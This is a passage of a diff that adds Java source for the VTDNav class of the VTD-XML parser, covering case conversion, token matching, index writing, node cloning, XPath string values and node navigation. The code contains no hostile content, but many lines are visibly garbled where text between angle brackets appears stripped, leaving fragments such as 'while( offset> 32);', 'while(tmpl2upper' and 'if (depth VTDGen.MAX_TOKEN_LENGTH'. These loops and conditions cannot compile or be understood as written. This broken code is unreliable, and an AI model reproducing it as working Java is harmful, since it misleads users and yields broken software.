offset += (int)(l>>32); + if ((int)l>96 && (int)l<123) + sb.append((char)(l-32)); + else + sb.append((char)l); + } + return sb.toString(); + } + /** + * Convert the byte content segment (in terms of offset and length) to + * String, upper case characters are converted to lower case + * + * @param os + * the offset of the segment + * @param len + * the length of the segment + * @return the corresponding string value + * @throws NavException + * + */ + final protected String toStringLowerCase(int os, int len) throws NavException{ + StringBuilder sb = new StringBuilder(len); + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int)(l>>32); + if ((int)l>64 && (int)l<91) + sb.append((char)(l+32)); + else + sb.append((char)l); + } + return sb.toString(); + } + + + final protected String toRawStringLowerCase(int os, int len) throws NavException{ + StringBuilder sb = new StringBuilder(len); + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + if ((int)l>64 && (int)l<91) + sb.append((char)(l+32)); + else + sb.append((char)l); + } + return sb.toString(); + } + + final protected void toRawStringLowerCase(int os, int len, StringBuilder sb) throws NavException{ + //StringBuilder sb = new StringBuilder(len); + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + if ((int)l>64 && (int)l<91) + sb.append((char)(l+32)); + else + sb.append((char)l); + } + //return sb.toString(); + } + + + + final protected String toRawStringUpperCase(int os, int len) throws NavException{ + StringBuilder sb = new StringBuilder(len); + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + if ((int)l>96 && (int)l<123) + sb.append((char)(l-32)); + else + sb.append((char)l); + } + return sb.toString(); + } + + final protected void toRawStringUpperCase(int os, int len, StringBuilder sb) throws NavException{ + //StringBuilder sb = new StringBuilder(len); + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + if ((int)l>96 && (int)l<123) + sb.append((char)(l-32)); + else + sb.append((char)l); + } + //return sb.toString(); + } + +/** + * This method matches two VTD tokens of VTDNav objects + * + * @param i1 + * index of the first token + * @param vn2 + * the second VTDNav instance + * @param i2 + * index of the second token + * @return boolean true if two tokens are lexically identical + * + */ + final public boolean matchTokens(int i1, VTDNav vn2, int i2) + throws NavException{ + return compareTokens(i1,vn2,i2)==0; + } + + /** + * Set the value of atTerminal This function only gets called in XPath eval + * when a step calls for @* or child::text() + * @param b + */ + final protected void setAtTerminal(boolean b){ + atTerminal = b; + } + + /** + * Test the start of token content at index i matches the content + * of s, notice that this is to save the string allocation cost of + * using String's built-in startsWidth + * @param i + * @param s + * @return + */ + final public boolean startsWith(int index, String s) throws NavException{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + int offset = getTokenOffset(index); + long l1; + int i,l; + int endOffset = offset + len; + boolean b = (type == TOKEN_ATTR_VAL + || type == TOKEN_CHARACTER_DATA); + // System.out.print("currentOffset :" + currentOffset); + l = s.length(); + if (l> len) + return false; + //System.out.println(s); + for (i = 0; i < l && offset < endOffset; i++) { + if (b) + l1 = getCharResolved(offset); + else + l1 = getChar(offset); + int i1 = s.charAt(i); + if (i1 != (int) l1) + return false; + offset += (int) (l1 >> 32); + } + return true; + } + + /** + * Test the end of token content at index i matches the content + * of s, notice that this is to save the string allocation cost of + * using String's built-in endsWidth + * @param i + * @return + */ + final public boolean endsWith(int index, String s) throws NavException{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + int offset = getTokenOffset(index); + long l1; + int i,l, i2; + boolean b = (type == TOKEN_ATTR_VAL + || type == TOKEN_CHARACTER_DATA); + //int endOffset = offset + len; + + // System.out.print("currentOffset :" + currentOffset); + l = s.length(); + if (l>len) + return false; + if (b == true) + i2 = getStringLength(index); + else + i2 = getRawStringLength(index); + if (l> i2) + return false; + i2 = i2 - l; // calculate the # of chars to be skipped + // eat away first several chars + for (i = 0; i < i2; i++) { + if (b== true) + l1 = getCharResolved(offset); + else + l1 = getChar(offset); + offset += (int) (l1 >> 32); + } + //System.out.println(s); + for (i = 0; i < l; i++) { + if (b==true) + l1 = getCharResolved(offset); + else + l1 = getChar(offset); + int i1 = s.charAt(i); + if (i1 != (int) l1) + return false; + offset += (int) (l1 >> 32); + } + return true; + } + + /** + * Test whether a given token contains s. notie that this function + * directly operates on the byte content of the token to avoid string creation + * @param index + * @param s + * @return + * @throws NavException + */ + final public boolean contains(int index, String s) throws NavException{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + int offset = getTokenOffset(index); + long l1; + int i,l; + int endOffset = offset + len; + boolean b = (type == TOKEN_ATTR_VAL + || type == TOKEN_CHARACTER_DATA); + // System.out.print("currentOffset :" + currentOffset); + int gOffset = offset; + l = s.length(); + if (l> len) + return false; + //System.out.println(s); + while( offset> 32); + if (i ==0) + offset = gOffset; + if (i1 != (int) l1) + break; + } + if (i==l) + return true; + } + return false; + } + + /** + * Get the value of atTerminal This function only gets called in XPath eval + * + * @return boolean + */ + final protected boolean getAtTerminal(){ + return atTerminal; + } + /** + * This is for debugging purpose + * + * @param fib + */ + + public boolean verifyNodeCorrectness(){ + if (atTerminal){ + // check l1 index, l2 index, l2lower, l2upper, l3 index, l3 lower, l3 upper + if (getTokenDepth(LN)!=context[0]) + return false; + switch(context[0]){ + case -1: return true; + case 0: + //if (getTokenDepth(LN)!=0) + // return false; + if (l1Buffer.size!=0){ + if (l1index>=l1Buffer.size || l1index<0) + return false; + if (l1index != l1Buffer.size-1){ + + if (l1Buffer.upper32At(l1index)context[1]){ + //if (getTokenDepth(LN) != 1) + // return false; + if (l1index<0 || l1index>l1Buffer.size) + return false; + int i1, i2; // l2lower, l2upper and l2index + i1 = l1Buffer.lower32At(l1index); + if (i1 != -1) { + if (i1 != l2lower) + return false; + int tmp = l1index + 1; + i2 = l2Buffer.size - 1; + while (tmp < l1Buffer.size) { + if (l1Buffer.lower32At(tmp) != -1) { + i2 = l1Buffer.lower32At(tmp) - 1; + break; + } else + tmp++; + } + if (l2upper != i2) + return false; + if (l2index > l2upper || l2index < l2lower) + return false; + if (l2index != l2upper) { + if (l2Buffer.upper32At(l2index) < LN) + return false; + } + if (l2index!=l2lower){ + if (l2Buffer.upper32At(l2index-1)>LN) + return false; + } + } + return true; + }else + return false; + case 2: + if (LN>context[2] && context[2]> context[1]){ + //if (getTokenDepth(LN) != 2) + // return false; + if (l1index<0 || l1index>l1Buffer.size) + return false; + int i1,i2; //l2lower, l2upper and l2index + i1 = l1Buffer.lower32At(l1index); + if(i1==-1)return false; + if (i1!=l2lower) + return false; + int tmp = l1index+1; + i2 = l2Buffer.size-1; + while(tmpl2upper || l2index < l2lower){ + return false; + } + //l3 + i1 = l2Buffer.lower32At(l2index); + if (i1!=-1){ + if (l3lower!=i1) + return false; + i2 = l3Buffer.size-1; + tmp = l2index+1; + + while(tmpi2) + return false; + + if (l3index != l3upper) { + if (l3Buffer.intAt(l3index) < LN) + return false; + } + if (l3index!=l3lower){ + if (l3Buffer.intAt(l3index-1)>LN) + return false; + } + } + return true; + }else + return false; + + default: + //if (getTokenDepth(LN) != 2) + // return false; + if (l1index<0 || l1index>l1Buffer.size) + return false; + int i1,i2; //l2lower, l2upper and l2index + i1 = l1Buffer.lower32At(l1index); + + if (i1==-1)return false; + if (i1!=l2lower) + return false; + int tmp = l1index+1; + i2 = l2Buffer.size-1; + while(tmpl2upper || l2index < l2lower){ + return false; + } + //l3 + i1 = l2Buffer.lower32At(l2index); + if (i1==-1) + return false; + if (i1!=l3lower) + return false; + i2 = l3Buffer.size-1; + tmp = l2index+1; + + while(tmpi2) + return false; + + if (context[context[0]]>LN) + return false; + + if (context[0]==3){ + if (l3index!=l3upper){ + if(l3Buffer.intAt(l3index)>LN) + return false; + } + if (l3index+1 <= l3Buffer.size-1){ + if (l3Buffer.intAt(l3index+1)=1) + fib.append(l1index); + + if (context[0]>=2){ + fib.append(l2index); + fib.append(l2lower); + fib.append(l2upper); + } // else return; + + if (context[0]>=3){ + fib.append(l3index); + fib.append(l3lower); + fib.append(l3upper); + } //else return; + } + + public void dumpState(){ + System.out.println("l1 index ==>"+l1index); + System.out.println("l2 index ==>"+l2index); + System.out.println("l2 lower ==>"+l2lower); + System.out.println("l2 upper ==>"+l2upper); + System.out.println("l3 index ==>"+l3index); + System.out.println("l3 lower ==>"+l3lower); + System.out.println("l3 upper ==>"+l3upper); + } + + /** + * Write VTDNav's internal structure into an OutputStream + * + * @param os + * @throws IndexWriteException + * @throws IOException + * + */ + public void writeIndex(OutputStream os) throws IndexWriteException, IOException{ + IndexHandler.writeIndex_L3((byte)1, + this.encoding, + this.ns, + true, + this.nestingLevel-1, + 3, + this.rootIndex, + this.XMLDoc.getBytes(), + this.docOffset, + this.docLen, + (FastLongBuffer)this.vtdBuffer, + (FastLongBuffer)this.l1Buffer, + (FastLongBuffer)this.l2Buffer, + (FastIntBuffer)this.l3Buffer, + os); + } + + /** + * Write VTDNav's VTD and LCs into an OutputStream (XML not written out) + * @param os + * @throws IndexWriteException + * @throws IOException + * + */ + public void writeSeparateIndex(OutputStream os) throws IndexWriteException, IOException{ + IndexHandler.writeSeparateIndex_L3((byte)2, + this.encoding, + this.ns, + true, + this.nestingLevel-1, + 3, + this.rootIndex, + // this.XMLDoc.getBytes(), + this.docOffset, + this.docLen, + (FastLongBuffer)this.vtdBuffer, + (FastLongBuffer)this.l1Buffer, + (FastLongBuffer)this.l2Buffer, + (FastIntBuffer)this.l3Buffer, + os); + } + /** + * Write VTDNav's internal structure into a VTD+XML file + * + * @param fileName + * @throws IOException + * @throws IndexWriteException + * + */ + public void writeIndex(String fileName) throws IOException,IndexWriteException{ + FileOutputStream fos = new FileOutputStream(fileName); + writeIndex(fos); + fos.close(); + } + /** + * Write VTDNav's internal structure (VTD and LCs, but not XML) into a file + * @param fileName + * @throws IOException + * @throws IndexWriteException + * + */ + public void writeSeparateIndex(String fileName) throws IOException,IndexWriteException{ + FileOutputStream fos = new FileOutputStream(fileName); + writeSeparateIndex(fos); + fos.close(); + } + + /** + * Precompute the size of VTD+XML index + * + * @return size of the index + * + */ + + public long getIndexsize(){ + int size; + if ( (docLen & 7)==0) + size = docLen; + else + size = ((docLen >>3)+1)<<3; + + size += (vtdBuffer.size<<3)+ + (l1Buffer.size<<3)+ + (l2Buffer.size<<3); + + if ((l3Buffer.size & 1) == 0){ //even + size += l3Buffer.size<<2; + } else { + size += (l3Buffer.size+1)<<2; //odd + } + return size+64; + } + + /** + * Duplicate the VTDNav instance with shared XML, VTD and LC buffers + * This method may be useful for parallel XPath evaluation + * The node Position is at root element + * @return a VTDNav instance + * + */ + public VTDNav duplicateNav(){ + return new VTDNav(rootIndex, + encoding, + ns, + nestingLevel-1, + XMLDoc, + vtdBuffer, + l1Buffer, + l2Buffer, + l3Buffer, + docOffset, + docLen + ); + } + + /** + * Clone the VTDNav instance to get with shared XML, VTD and LC buffers + * The node position is also copied from the original instance + * @return a new instance of VTDNav + */ + public VTDNav cloneNav(){ + VTDNav vn = new VTDNav(rootIndex, + encoding, + ns, + nestingLevel-1, + XMLDoc, + vtdBuffer, + l1Buffer, + l2Buffer, + l3Buffer, + docOffset, + docLen + ); + vn.atTerminal = this.atTerminal; + vn.LN = this.LN; + if (this.context[0]!=-1) + System.arraycopy(this.context, 0, vn.context, 0, this.context[0]+1 ); + else + vn.context[0]=-1; + vn.l1index = l1index; + if (getCurrentDepth()>1){ + vn.l2index = this.l2index; + vn.l2upper = l2upper; + vn.l2lower = l2lower; + } + if (getCurrentDepth() > 2) { + vn.l3lower = l3lower; + vn.l3index = l3index; + vn.l3upper = l3upper; + } + return vn; + } + + /** + * This function return the substring + * @param offset + * @return sub string of + */ + /*final public String toSubString(int index, int so){ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + int offset = getTokenOffset(index); + long l1; + int i,l; + int endOffset = offset + len; + + if (so >= len) + return ""; + return ""; + }*/ + + /** + * + */ + public static final short XPATH_STRING_MODE_NORMAL = 0; + public static final short XPATH_STRING_MODE_UPPERCASE = 1; + public static final short XPATH_STRING_MODE_LOWERCASE = 2; + + final public void fillXPathString(FastIntBuffer indexBuffer, FastIntBuffer countBuffer) throws NavException{ + int count = 0; + int index = getCurrentIndex() + 1; + int tokenType, depth, t=0, length,i=0; + int dp = context[0]; + //int size = vtdBuffer.size; + // store all text tokens underneath the current element node + while (index < vtdSize) { + tokenType = getTokenType(index); + depth = getTokenDepth(index); + if (depth VTDGen.MAX_TOKEN_LENGTH){ + while(length > VTDGen.MAX_TOKEN_LENGTH){ + length -=VTDGen.MAX_TOKEN_LENGTH; + i++; + } + index += i+1; + }else + index++; + continue; + // + } else if (tokenType==VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS){ + index = index+2; + continue; + } + index++; + } + } + + final public String getXPathStringVal() throws NavException{ + return getXPathStringVal((short)0); + } + /** + * Return the String value of an Element Node + * @param mode + * @return + * @throws NavException + */ + final public String getXPathStringVal(short mode) throws NavException{ + return getXPathStringVal2(getCurrentIndex(),mode); + /*int index = getCurrentIndex() + 1; + int tokenType, depth, t=0; + int dp = context[0]; + //int size = vtdBuffer.size; + // store all text tokens underneath the current element node + while (index < vtdSize) { + tokenType = getTokenType(index); + depth = getTokenDepth(index); + t = t + getTokenLength2(index); + if (depth VTDGen.MAX_TOKEN_LENGTH){ + while(length > VTDGen.MAX_TOKEN_LENGTH){ + length -=VTDGen.MAX_TOKEN_LENGTH; + i++; + } + index += i+1; + }else + index++; + continue; + // + } else if (tokenType==VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS){ + index = index+2; + continue; + }*/ + // index++; + //} + + // calculate the total length + /*StringBuilder sb = new StringBuilder(t); + + for(t=0;t= vtdSize) throw new NavException("Invalid vtd-xml index, out of range"); + int tokenType = getTokenType(j); + if (tokenType!= VTDNav.TOKEN_STARTING_TAG && tokenType != VTDNav.TOKEN_DOCUMENT) + throw new NavException("Node type incorrect for XPath STring val");*/ + int tokenType; + int index = j + 1; + int depth, t=0, length,i=0; + int dp = getTokenDepth(j); + //int size = vtdBuffer.size; + // store all text tokens underneath the current element node + while (index < vtdSize) { + tokenType = getTokenType(index); + depth = getTokenDepth(index); + t=t+getTokenLength2(index); + if (depth VTDGen.MAX_TOKEN_LENGTH){ + while(length > VTDGen.MAX_TOKEN_LENGTH){ + length -=VTDGen.MAX_TOKEN_LENGTH; + i++; + } + index += i+1; + }else + index++; + continue; + // + } else if (tokenType==VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS + || tokenType == VTDNav.TOKEN_PI_NAME){ + index = index+2; + continue; + } + index++; + } + + // calculate the total length + StringBuilder sb = new StringBuilder(t); + + for(t=0;t>32); + } + index++; + } + + + fib.clear(); + return result; + } + + private boolean matchSubString(int os, int eos, int index, int t, String s) throws NavException{ + int offset = os, endOffset=eos, type =t, c;long l; + int i=0; + boolean b=false; + while(offset>32); + i++; + }else if(i==s.length()-1) + return true; + else + return false; + } + index++; + while(index>32); + i++; + }else if(i==s.length()) + return true; + else + return false; + } + index++; + }while(index>32); + i++; + }else if (i==s.length()) + return true; + else + return false; + + } + index++; + continue; + }else if( tokenType==VTDNav.TOKEN_CDATA_VAL){ + offset = getTokenOffset(index); + len = getTokenLength2(index); + endOffset = offset + len; + while(offset>32); + i++; + }else if (i==s.length()) + return true; + else + return false; + + } + index++; + continue; + }else if (tokenType==VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS + || tokenType == VTDNav.TOKEN_PI_NAME){ + + index = index+2; + continue; + } + index++; + } + return false; + } + + final public boolean XPathStringVal_EndsWith(int j,String s) throws NavException{ + int tokenType; + int index = j + 1; + int depth, t=0, length,i=0,d=0, offset,endOffset,type; + boolean b=false; + long l; + int dp = getTokenDepth(j); + //int size = vtdBuffer.size; + // store all text tokens underneath the current element node + while (index < vtdSize) { + tokenType = getTokenType(index); + depth = getTokenDepth(index); + //t=t+getStringLength(index); + if (depth=s.length()){ + d = t-s.length();//# of chars to be skipped + break; + } + } + + if (i<-1)return false; + type = getTokenType(fib.intAt(i)); + offset = getTokenOffset(fib.intAt(i)); + endOffset = offset+getTokenLength2(fib.intAt(i)); + for(j=0;j>32); + } + b =matchSubString(offset, endOffset,i,type,s); + fib.clear(); + return b; + } + + + + /** + * Get content fragment returns a long encoding the offset and length of the byte segment of + * the content of current element, which is the byte segment between the starting tag and + * ending tag, -1 is returned if the current element is an empty element + * + * @return long whose upper 32 bite is length, lower 32 bit is offset + */ + public long getContentFragment() throws NavException{ + // a little scanning is needed + // has next sibling case + // if not + + int depth = getCurrentDepth(); +// document length and offset returned if depth == -1 + if (depth == -1){ + int i=vtdBuffer.lower32At(0); + if (i==0) + return ((long)docLen)<<32| docOffset; + else + return ((long)(docLen-32))| 32; + } + + long l = getOffsetAfterHead(); + if (l<0) + return -1L; + int so = (int)l; + + int length = 0; + + + // for an element with next sibling + if (toElement(NEXT_SIBLING)) { + + int temp = getCurrentIndex(); + //temp2=temp; + // rewind + while (getTokenDepth(temp) == depth && + (getTokenType(temp)==VTDNav.TOKEN_COMMENT || + getTokenType(temp)==VTDNav.TOKEN_PI_VAL || + getTokenType(temp)==VTDNav.TOKEN_PI_NAME)) { + + temp--; + } + /*if(temp!=temp2) + temp++;*/ + //temp++; + int so2 = getTokenOffset(temp) - 1; + // look for the first '>' + while (getCharUnit(so2) != '>') { + so2--; + } + while (getCharUnit(so2) != '/') { + so2--; + } + while (getCharUnit(so2) != '<') { + so2--; + } + + length = so2 - so; + toElement(PREV_SIBLING); + if (encoding <= FORMAT_WIN_1258) + return ((long) length) << 32 | so; + else + return ((long) length) << 33 | (so << 1); + } + + // for root element + if (depth == 0) { + int temp = vtdBuffer.size - 1; + boolean b = false; + int so2 = 0; + while (getTokenDepth(temp) == -1) { + temp--; // backward scan + b = true; + } + if (b == false) + so2 = + (encoding <= FORMAT_WIN_1258 ) + ? (docOffset + docLen - 1) + : ((docOffset + docLen) >> 1) - 1; + else + so2 = getTokenOffset(temp + 1); + while (getCharUnit(so2) != '>') { + so2--; + } + while (getCharUnit(so2) != '/') { + so2--; + } + while (getCharUnit(so2) != '<') { + so2--; + } + length = so2 - so; + if (encoding <= FORMAT_WIN_1258) + return ((long) length) << 32 | so; + else + return ((long) length) << 33 | (so << 1); + } + // for a non-root element with no next sibling + int temp = getCurrentIndex() + 1; + int size = vtdBuffer.size; + // temp is not the last entry in VTD buffer + if (temp < size) { + while (temp < size && getTokenDepth(temp) >= depth) { + temp++; + } + if (temp != size) { + int d = + depth + - getTokenDepth(temp) + + ((getTokenType(temp) == TOKEN_STARTING_TAG) ? 1 : 0); + int so2 = getTokenOffset(temp) - 1; + int i = 0; + // scan backward + while (i < d) { + if (getCharUnit(so2) == '>') + i++; + so2--; + } + while (getCharUnit(so2) != '/') { + so2--; + } + while (getCharUnit(so2) != '<') { + so2--; + } + length = so2 - so; + if (encoding <= FORMAT_WIN_1258) + return ((long) length) << 32 | so; + else + return ((long) length) << 33 | (so << 1); + } + /* + * int so2 = getTokenOffset(temp - 1) - 1; int d = depth - + * getTokenDepth(temp - 1); int i = 0; while (i < d) { if + * (getCharUnit(so2) == '>') { i++; } so2--; } length = so2 - so + + * 2; if (encoding < 3) return ((long) length) < < 32 | so; else + * return ((long) length) < < 33 | (so < < 1); + */ + } + // temp is the last entry + // scan forward search for /> or + + int so2 = + (encoding <= FORMAT_WIN_1258) + ? (docOffset + docLen - 1) + : ((docOffset + docLen) >> 1) - 1; + int d; + + d = depth + 1; + + int i = 0; + while (i < d) { + if (getCharUnit(so2) == '>') { + i++; + } + so2--; + } + while (getCharUnit(so2) != '/') { + so2--; + } + while (getCharUnit(so2) != '<') { + so2--; + } + + length = so2 - so; + + if (encoding <= FORMAT_WIN_1258) + return ((long) length) << 32 | so; + else + return ((long) length) << 33 | (so << 1); + } + + /** + * This method takes a vtd index, and recover its correspondin + * node position, the index can only be of node type element, + * document, attribute name, attribute value or character data, + * or CDATA + * @param index + * @throws NavException + */ + public void recoverNode(int index) throws NavException{ + if (index <0 || index>=vtdSize ) + throw new NavException("Invalid VTD index"); + + int type = getTokenType(index); + if (//type == VTDNav.TOKEN_COMMENT || + // type == VTDNav.TOKEN_PI_NAME || + type == VTDNav.TOKEN_PI_VAL || + type == VTDNav.TOKEN_DEC_ATTR_NAME || + type == VTDNav.TOKEN_DEC_ATTR_VAL || + type == VTDNav.TOKEN_ATTR_VAL) + throw new NavException("Token type not yet supported"); + + // get depth + int d = getTokenDepth(index); + // handle document node; + switch (d){ + case -1: + context[0]=-1; + if (index != 0){ + LN = index; + atTerminal = true; + + }else atTerminal=false; + return; + case 0: + context[0]=0; + if (index != rootIndex){ + LN = index; + atTerminal = true; + if (type>VTDNav.TOKEN_ATTR_NS) + sync(0,index); + } else + atTerminal=false; + return; + } + + context[0]=d; + if (type != VTDNav.TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + }else + atTerminal = false; + // search LC level 1 + recoverNode_l1(index); + + if (d==1){ + if (atTerminal && type>VTDNav.TOKEN_ATTR_NS) + sync(1,index); + return; + } + // search LC level 2 + recoverNode_l2(index); + if (d==2){ + //resolveLC(); + if (atTerminal && type>VTDNav.TOKEN_ATTR_NS) + sync(2,index); + return; + } + // search LC level 3 + recoverNode_l3(index); + if (d==3){ + //resolveLC(); + if (atTerminal && type>VTDNav.TOKEN_ATTR_NS) + sync(3,index); + return; + } + // scan backward + if ( type == VTDNav.TOKEN_STARTING_TAG ){ + context[d] = index; + } else{ + int t = index-1; + while( !(getTokenType(t)==VTDNav.TOKEN_STARTING_TAG && + getTokenDepth(t)==d)){ + t--; + } + context[d] = t; + } + int t = context[d]-1; + d--; + while(d>3){ + while( !(getTokenType(t)==VTDNav.TOKEN_STARTING_TAG && + getTokenDepth(t)==d)){ + t--; + } + context[d] = t; + d--; + } + //resolveLC(); + } + + protected final void recoverNode_l1(int index){ + int i; + if(context[1]==index){ + + } + else if (l1index !=-1 && context[1]>index + && l1index+1=l1Buffer.size) + i=l1Buffer.size-1; + + if (l1Buffer.upper32At(i)< index) { + while(iindex) + i--; + } else { + while(l1Buffer.upper32At(i)>index){ + i--; + } + } + context[1] = l1Buffer.upper32At(i); + l1index = i; + } + } + + protected final void recoverNode_l2(int index){ + int i = l1Buffer.lower32At(l1index); + + if (l2lower != i) { + l2lower = i; + // l2lower shouldn't be -1 !!!! l2lower and l2upper always get + // resolved simultaneously + //l2index = l2lower; + l2upper = l2Buffer.size - 1; + for (int k = l1index + 1; k < l1Buffer.size; k++) { + i = l1Buffer.lower32At(k); + if (i != 0xffffffff) { + l2upper = i - 1; + break; + } + } + } + // guess what i would be in l2 cache + int t1=l2Buffer.upper32At(l2lower); + int t2=l2Buffer.upper32At(l2upper); + //System.out.print(" t2 ==>"+t2+" t1 ==>"+t1); + i= Math.min(l2lower+ (int)(((float)(index-t1)/(t2-t1+1))*(l2upper-l2lower)),l2upper) ; + //System.out.print(" i1 "+i); + while(i "+index); + + while (l2Buffer.upper32At(i)>index && i>0) + i--; + context[2] = l2Buffer.upper32At(i); + l2index = i; + //System.out.println("l2lower ==>"+l2lower+" l2upper==>"+l2upper+" l2index==> "+l2index); + } + + private final void recoverNode_l3(int index){ + int i = l2Buffer.lower32At(l2index); + + if (l3lower != i) { + //l3lower and l3upper are always together + l3lower = i; + // l3lower shouldn't be -1 + //l3index = l3lower; + l3upper = l3Buffer.size - 1; + for (int k = l2index + 1; k < l2Buffer.size; k++) { + i = l2Buffer.lower32At(k); + if (i != 0xffffffff) { + l3upper = i - 1; + break; + } + } + } + int t1=l3Buffer.intAt(l3lower); + int t2=l3Buffer.intAt(l3upper); + i= Math.min(l3lower+ (int)(((float)(index-t1)/(t2-t1+1))*(l3upper-l3lower)),l3upper) ; + while(iindex && i>0) + i--; + //System.out.println(" i ===> "+i); + context[3] = l3Buffer.intAt(i); + l3index = i; + } + + /** + * Return the prefix of a token as a string if the token + * is of the type of starting tag, attribute name, if the + * the prefix doesn't exist, a null string is returned; + * otherwise a null string is returned + * + * @param i VTD index of a token + * @return + */ + public String getPrefixString(int i) throws NavException{ + if (ns == false) + return null; + int type = getTokenType(i); + if (type != TOKEN_ATTR_NAME && type != TOKEN_STARTING_TAG) + return null; + int offset = getTokenOffset(i); + int preLen = getTokenLength(i) >> 16; + if (preLen !=0) + return toRawString(offset,preLen); + + return null; + } + + + protected void setCurrentNode(){ + if (currentNode == null){ + currentNode = new BookMark(this); + }else { + currentNode.recordCursorPosition(); + } + } + + protected void loadCurrentNode(){ + currentNode.setCursorPosition(); + } + // like toElement, toNode takes an integer that determines the + protected boolean toNode(int dir) throws NavException{ + int index,tokenType,depth,lastEntry,tmp; + //count++; + //System.out.println("count ==>"+ count); + switch(dir){ + case ROOT: + if (context[0] != 0) { + /* + * for (int i = 1; i <= context[0]; i++) { context[i] = + * 0xffffffff; } + */ + context[0] = 0; + } + atTerminal = false; + //l1index = l2index = l3index = -1; + return true; + case PARENT: + if (atTerminal == true){ + atTerminal = false; + return true; + } + if (context[0] > 0) { + //context[context[0]] = context[context[0] + 1] = + // 0xffffffff; + context[context[0]] = -1; + context[0]--; + return true; + }else if (context[0]==0){ + context[0]=-1; //to be compatible with XPath Data model + return true; + } + else { + return false; + } + case FIRST_CHILD: + if(atTerminal)return false; + switch (context[0]) { + case -1: + //starting with root element + //scan backward, if there is a pi | comment node + index = rootIndex-1; + loop1: + while(index >0){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_COMMENT: index--; break; + case TOKEN_PI_VAL: index-=2;break; + default: + break loop1; + } + } + index++; // points to + if (index!=rootIndex){ + atTerminal = true; + LN = index; + }else{ + context[0]=0; + } + return true; + case 0: + if (l1Buffer.size!=0){ + index = l1Buffer.upper32At(0)-1; + //rewind + loop1: while(index>rootIndex){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + index--; + break; + case TOKEN_PI_VAL: + index-=2; + break; + default: + break loop1; + } + } + index++; + l1index = 0; + if(index == l1Buffer.upper32At(0)){ + context[0]=1; + context[1]= l1Buffer.upper32At(0); + atTerminal = false; + }else { + atTerminal = true; + LN = index; + } + return true; + + }else{ + //get to the first non-attr node after the starting tag + index = rootIndex+1; + while(index>> 60); + switch(tokenType){ + case TOKEN_STARTING_TAG: + depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth <= context[0]){ + return false; + }else if (depth == (context[0] + 1)) { + context[0] += 1; + context[context[0]] = index; + return true; + }else + throw new NavException("impossible condition"); + + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: index+=2;break; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < context[0]){ + return false; + }else if (depth == (context[0])) { + //System.out.println("inside to Node next sibling"); + LN = index; + atTerminal = true; + return true; + } else + throw new NavException("impossible condition"); + case TOKEN_PI_NAME: + depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < context[0]){ + return false; + }else if (depth == (context[0])) { + LN = index; + atTerminal = true; + return true; + } else + throw new NavException("impossible condition"); + } + //index++; + } // what condition + return false; + } + case LAST_CHILD: + if(atTerminal)return false; + return toNode_LastChild(); + + case NEXT_SIBLING: + switch (context[0]) { + case -1: + if(atTerminal){ + index = LN; + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_PI_NAME: + index+=2; + break; + //break loop2; + case TOKEN_COMMENT: + index++; + break; + } + + if (index rootIndex){ + depth = getTokenDepth(index); + if (depth ==-1){ + index--; + } else + break; + } + index++; + if (index>=vtdSize ) + return false; + else{ + context[0]=-1; + LN = index; + atTerminal = true; + return true; + } + } + //break; + case 1: + if(atTerminal){ + tokenType=getTokenType(LN); + if (tokenType==VTDNav.TOKEN_ATTR_NAME) + return false; + if (l1Buffer.lower32At(l1index) != -1) { + if (LN < l2Buffer.upper32At(l2upper)) { + tmp = l2Buffer.upper32At(l2index); + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + + if (index < tmp) { + LN = index; + return true; + } else { + context[0] = 2; + context[2] = tmp; + atTerminal = false; + return true; + } + } else { + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + if (index < vtdSize) { + depth = getTokenDepth(index); + if (depth==1 && getTokenType(index)!= TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + return true; + } + return false; + } else + return false; + } + }else{ + index= LN+1; + if (tokenType==TOKEN_PI_NAME) + index++; + if (index < vtdSize){ + depth = getTokenDepth(index); + if (depth==1 && getTokenType(index)!= TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + return true; + } + return false; + }else{ + return false; + } + } + }else{ + if (l1index != l1Buffer.size-1){ + // not the last one + //rewind + l1index++; + index = lastEntry = l1Buffer.upper32At(l1index)-1; + while(getTokenDepth(index)==0){ + index--; + } + if (lastEntry==index){ + atTerminal=false; + context[0]=1; + context[1]=index+1; + return true; + } else { + atTerminal = true; + 